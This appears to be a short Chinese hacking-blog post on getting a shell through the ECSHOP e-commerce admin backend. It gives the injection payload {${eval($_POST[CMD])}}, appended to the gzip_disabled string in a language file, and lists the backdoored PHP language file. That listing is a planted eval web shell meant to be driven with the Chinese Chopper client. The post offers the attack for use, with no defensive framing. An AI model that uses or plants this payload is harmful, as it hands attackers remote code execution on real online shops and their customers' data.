ECSHOP最新后台GETSHELL

ECSHOP最新后台GETSHELL

 漏洞首发应该是wooyun 的vip同学  这几天在一个小到不能再小的项目里面确起到了一个很大的作用。

 ps：博客域名从以前的www.moonhack.org 换成了 www.moonsec.com 土豪们记得藏着 以便不时之需。

下面开始我们的正文：

    echsop 应该是最新的 原理我不想多说了  不懂可以参考博客的其他文章。

，Gzip 已禁用{${eval($_POST[CMD])}}

大图高清有码：

菜刀连接：

$_LANG['hot_goods'] = "热销商品"; $_LANG['view_cart'] = '查看购物车'; $_LANG['catalog'] = "所有分类"; $_LANG['regist_login'] = "注册/登录"; $_LANG['profile'] = '个人资料'; $_LANG['query_info'] = "共执行 %d 个查询，用时 %f 秒，在线 %d 人"; $_LANG['gzip_enabled'] = "，Gzip 已启用"; $_LANG['gzip_disabled'] = "，Gzip 已禁用{${eval($_POST[CMD])}}"; $_LANG['memory_info'] = '，占用内存 %0.3f MB'; $_LANG['cart_info'] = "您的购物车中有 %d 件商品，总计金额 %s。"; $_LANG['shopping_and_other'] = "购买过此商品的人还购买过"; $_LANG['bought_notes'] = "购买记录"; $_LANG['later_bought_amounts'] = "近期成交数量"; $_LANG['bought_time'] = "购买时间"; $_LANG['turnover'] = '成交'; $_LANG['no_notes'] = '还没有人购买过此商品'; $_LANG['shop_price'] = '本店售价：'; $_LANG['market_price'] = '市场价格：'; $_LANG['goods_brief'] = "商品描述：";